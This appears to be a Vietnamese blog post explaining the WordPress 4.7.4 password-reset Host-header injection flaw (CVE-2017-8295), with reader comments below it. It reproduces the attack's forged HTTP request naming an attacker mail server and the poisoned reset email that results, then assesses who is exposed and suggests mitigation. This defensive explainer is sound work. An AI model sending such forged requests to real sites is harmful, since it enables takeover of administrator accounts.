Lỗi 0-day của WordPress 4.7.4 và nó có nguy hại không?

Hôm nay có thể bạn đã từng nghe qua thông báo của mọi người rằng WordPress phiên bản 4.7.4 được phát hiện một lỗi 0-day (CVE-2017-8295) giúp tin tặc có thể lấy mật khẩu của người quản trị cao nhất là admin thông qua việc reset mật khẩu không cần cấp quyền vào email của chủ sỡ hữu.

Về chi tiết lỗi này bạn có thể tham khảo diễn giải chi tiết tại https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html.

Tuy nhiên trong bài viết này mình sẽ giải thích thêm và chúng ta có thể biết rằng bạn có nguy cơ bị khai thác hay không, từ đó mới áp dụng cách cài plugin chặn reset mật khẩu.

Kịch bản tấn công

Theo ExplotItBox, đầu tiên tin tặc sẽ gửi một truy vấn HTTP tới website thông qua địa chỉ IP, nghĩa là website của bạn phải truy cập được thông qua IP. Nếu bạn nào dùng Shared Hosting sử dụng cPanel bản mới nhất thì không cần lo lắng nữa vì trước đây lâu lắm rồi họ đã có một bản vá về lỗi 0-day trên Linux, và với Shared Hosting bạn cũng không thể truy cập vào website thông qua IP.

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password

Ở đoạn trên, tin tặc sẽ ghim địa chỉ máy chủ email của họ vào, và trên Apache thì SERVER_NAME sẽ tự động thay thế bằng giá trị HOST trong truy vấn trên, tức là địa chỉ máy chủ email của tin tặc.

Khi đó, người quản trị sẽ nhận 1 email như sau:

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.

To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

Bạn sẽ thấy phần Return-Path sẽ chứa giá trị mà WordPress tự điền vào giá trị SERVER_NAME, tức là wordpress@địa-chỉ-máy-chủ-email-tin-tặc.ltd và kể cả Message-ID cũng chứa một địa chỉ của tin tặc.

Như vậy là đã rõ, nếu hệ thống hoặc người dùng vô tình phản hồi email này, thì tin tặc sẽ nhận chính cái nội dung email chứa khóa khôi phục mật khẩu quản trị. Như vậy ta sẽ có 3 trường hợp như sau:

  1. Một số email của người quản trị có tính năng tự động trả lời email kèm nội dung email được trả lời.
  2. Tin tặc sẽ gửi một lượng lớn email khiến máy chủ của người dùng bị ngập lụt dung lượng sử dụng hay đại loại vậy khiến email không thể gửi đi và phản hồi ngược lại.
  3. Nếu người dùng quản trị dùng email của Gmail hay các nhà cung cấp mail khác, tin tặc sẽ phải gửi một lượng lớn truy vấn như trên để nhà cung cấp chặn địa chỉ máy chủ tin tặc, từ đó email không thể gửi đi và phản hồi ngược lại.

Vậy điều này có nguy hiểm với bạn không?

Suy xét ra thì lỗi này sẽ nghiêm trọng và bạn có thể bị ảnh hưởng nếu:

  • Bạn đang dùng webserver Apache và có thể truy cập vào website thông qua IP. Nghĩa là không tạo virtualhost ấy.
  • Tin tặc phải biết được tên đăng nhập của người quản trị.
  • Tập tin wp-login.php phải được truy cập trực tiếp. Một số plugin ẩn đường dẫn đăng nhập như iThemes Security sẽ tự động chặn truy cập trực tiếp qua tập tin này. Ví dụ: https://thachpham.com/wp-login.php.
  • Người quản trị phải dùng email tự host thì sẽ may ra có nguy cơ, còn Gmail hay gì đó thì phải gửi một lượng email cực lớn cùng lúc họ mới chặn một máy chủ gửi đi.

Như vậy nếu bạn thỏa mãn các điều kiện trên thì có thể phòng chống bằng cách cài plugin Disable Password Reset để chặn chức năng quên mật khẩu đi. Còn nếu không thì lỗi này cũng không thật sự quá nguy hiểm như chúng ta tưởng tượng. Tuy nhiên trong tương lai, WordPress sẽ ra một bản vá để chúng ta yên tâm hơn.

Thạch Phạm

Đam mê với web và lập trình, thích viết và chia sẻ, nghiện cà phê và xăm mình, hứng thú với nhạc dân ca và nhạc không lời.

Xem thêm bài viết Subscribe

Để lại bình luận

24 Bình luận trên "Lỗi 0-day của WordPress 4.7.4 và nó có nguy hại không?"

avatar
Sắp xếp theo:   mới nhất | cũ nhất | đánh giá nhiều
Chuột Bự
Khách

May quá chưa cập nhật lên WP mới nhất 🙁

Vir
Khách

lỗi này ảnh hưởng tất cả phiên bản wordpress từ 4.7.4 trở xuống nhé

Vy Vy
Khách

Cho hỏi mình xài theme truereview, mỗi post theme đều thống kê view ngay trên đầu bài, khổ nỗi nó quá thấp chênh lệch nhiều so với 4 plugin thống kê mình xài. Hiếm lắm mới có 2-3 bài view xấp xỉ. Có cách nào xoá cái postview của theme này không? Mình không biết theme tính view pót kiểu gì, mình là ad mà F5 nó cũng tính view, sao khách vào nó không tính?

Tien
Khách

website của bạn có cài cache không, nếu có thì cũng có thể là vấn đề kiến nó ko update cho khách đó

công nghị
Khách

nên cài cài plugin Disable Password Reset cho chắc ăn, và cũng đỡ lo hơn

phimhd
Khách

cám ơn bài viết của bác đến kịp thời

Hoàng
Khách

cảm ơn Thạch, rất bổ ích

Thucle Blog
Khách

Thực ra cũng không nguy hiểm nếu mình biết tự bảo vệ mình. cập nhật tin tức sớm sẽ tránh được thôi

ngu si
Khách

<

blockquote>

<

ol>
l

tháp oxy hóa
Khách

mình cũng có web chạy WordPress. nhưng do nhà cung cấp tự động nâng cấp phiên bản. làm thế nào để khắc phục nhỉ @@

tiger
Khách

đã có Version 4.7.5 không biết bản này có lổi gì không nữa ? update tiên phong https://phuonghoangtrans.com

LTTK
Khách

Hướng dẫn soạn bài qua những tài liệu hay và sách hay nên đọc.

Kien
Khách

Lỗi này thật ra chả có gì, tại sao tôi đọc bài này thấy dời dạc và lủng củng vậy nhỉ =.=

tuvanbds24h
Khách

Cũng hên không cập nhập lên wp mới, không là mệt mỏi rồi

Minh Vuong Tech
Khách

Từ 4.4.7 trở xuống đều dính nhé mọi người.

Nguyen Van Dinh
Khách

Rất thú vị, cảm ơn Thạch.

Linh
Khách

Thật ngớ ngẩn, WordPress quá ngớ ngẩn =))

ClouF Link Pfa
Khách

lỗi này ảnh hưởng tất cả phiên bản wordpress từ 4.7.4 trở xuống nhé

Lý Thành Phúc
Khách

Cho em hỏi trong 4 điều kiện trên em dính 1 cái đầu tiên vì em dùng HOCVPS nên truy cập IP nó ra website chính, nhưng cái domain chính em dùng domain ảo và không chứa gì trên đó nên khi vào bằng IP nó ra trang trắng như thế thì có bị ảnh hưởng không ạ ?

ClouF Link Pfa
Khách

Hôm nay có thể bạn đã từng nghe qua thông báo của mọi người rằng WordPress phiên bản 4.7.4 được phát hiện một lỗi 0-day

ClouF Link Pfa
Khách

oke

fmachna
Khách

lỗi này ảnh hưởng tất cả phiên bản wordpress từ 4.7.4 trở xuống nhé

fmachna
Khách

May quá chưa cập nhật lên WP mới nhất 🙁

fmachna
Khách

fa

wpDiscuz
menu
menu